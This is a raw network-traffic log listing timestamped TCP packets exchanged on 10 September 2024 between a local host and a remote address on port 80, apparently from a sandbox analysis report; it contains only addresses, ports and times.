Sep 10, 2024 19:36:05.365909100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365921974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365927935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.365941048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365947962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.365957975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365964890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.365983963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.365997076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.366019964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.366029024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.366036892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.366045952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.366055012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.366061926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.366070986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.366086960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.366116047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.366235018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.366245985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.366285086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.369927883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.369940042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.369952917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.369987011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.369997978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.370086908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.370098114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.370147943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.370244980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.370255947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.370265961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.370276928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.370285988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.370301962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.370306969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.370316029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.370326042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.370332956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.370342970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.370354891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.370361090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.370372057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.370398045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.370582104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.370593071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.370604992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.370615959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.370626926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.370635033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.370655060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.370671988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.370733976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.370779991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.399503946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.399517059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.399532080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.399552107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.399569035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.399579048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.399590015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.399600029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.399607897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.399683952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.399694920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.399705887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.399713039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.399722099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.399733067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.399743080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.399791002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.399869919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.399878979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.399936914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.400021076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.400033951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.400073051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.400101900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.400114059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.400124073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.400136948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.400144100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.400160074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.400190115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.400211096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.400228024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.400238991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.400249958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.400270939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.400290966 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.400316954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.400327921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.400337934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.400347948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.400357962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.400365114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.400384903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.400398970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.449219942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.449229956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.449239969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.449253082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.449263096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.449274063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.449317932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.449328899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.449342966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.449352026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.449362040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.449379921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.449403048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.449795961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.449841976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.449848890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.449860096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.449901104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.449922085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.449932098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.449942112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.449959040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.449966908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.449976921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.449984074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.449992895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.450002909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.450012922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.450038910 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.450113058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.450124979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.450134039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.450143099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.450155020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.450160027 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.450169086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.450176954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.450185061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.450191975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.450201988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.450211048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.450217962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.450227022 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.450233936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.450247049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.450253963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.450277090 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.450994968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451004982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451014042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451024055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451035976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451040983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.451050043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451059103 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.451065063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451076031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451086044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.451092005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451102972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451107979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.451117039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451126099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.451132059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451150894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451159000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.451168060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451176882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.451183081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451193094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451201916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451209068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.451217890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451227903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451235056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.451244116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451251984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.451261044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451271057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451277971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.451287985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451294899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.451303959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451316118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.451319933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451330900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451339960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.451348066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451358080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.451369047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.451383114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.451405048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.452011108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452020884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452029943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452039003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452055931 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.452063084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452074051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452084064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.452090979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452102900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.452107906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452121019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452126026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.452133894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452146053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.452152014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452161074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.452168941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452178955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452188015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.452195883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452207088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452214003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.452223063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452234030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452243090 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.452250004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.452256918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452267885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452277899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.452285051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452292919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.452301979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452310085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.452320099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.452327013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.452336073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.452438116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.485733986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.485783100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.485801935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.485810041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.485840082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.485846043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.485857010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.485866070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.485883951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.485894918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.485903025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.485912085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.485919952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.485955954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.486017942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486027956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486037970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486047029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.486053944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486063004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.486071110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486080885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.486105919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.486116886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486212015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.486365080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486375093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486385107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486404896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486412048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.486422062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486432076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.486439943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486458063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.486478090 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.486839056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486849070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486856937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486884117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.486901999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.486908913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486918926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486927986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486937046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486946106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.486960888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.486991882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.535392046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.535402060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.535410881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.535460949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.535470009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.535480022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.535487890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.535497904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.535535097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.535548925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.535559893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.535568953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.535578012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.535583973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.535593987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.535603046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.535609961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.535636902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.535672903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.535682917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.535731077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.535742998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.535785913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.535881996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.535891056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.535900116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.535926104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.535945892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536015987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536025047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536034107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536042929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536051989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536058903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536078930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536096096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536103010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536113977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536122084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536130905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536140919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536148071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536174059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536189079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536199093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536209106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536237955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536248922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536267042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536276102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536286116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536294937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536314964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536339998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.536365032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536375046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536389112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.536396980 CEST	80	49707	45.152.113.10	192.168.2.5
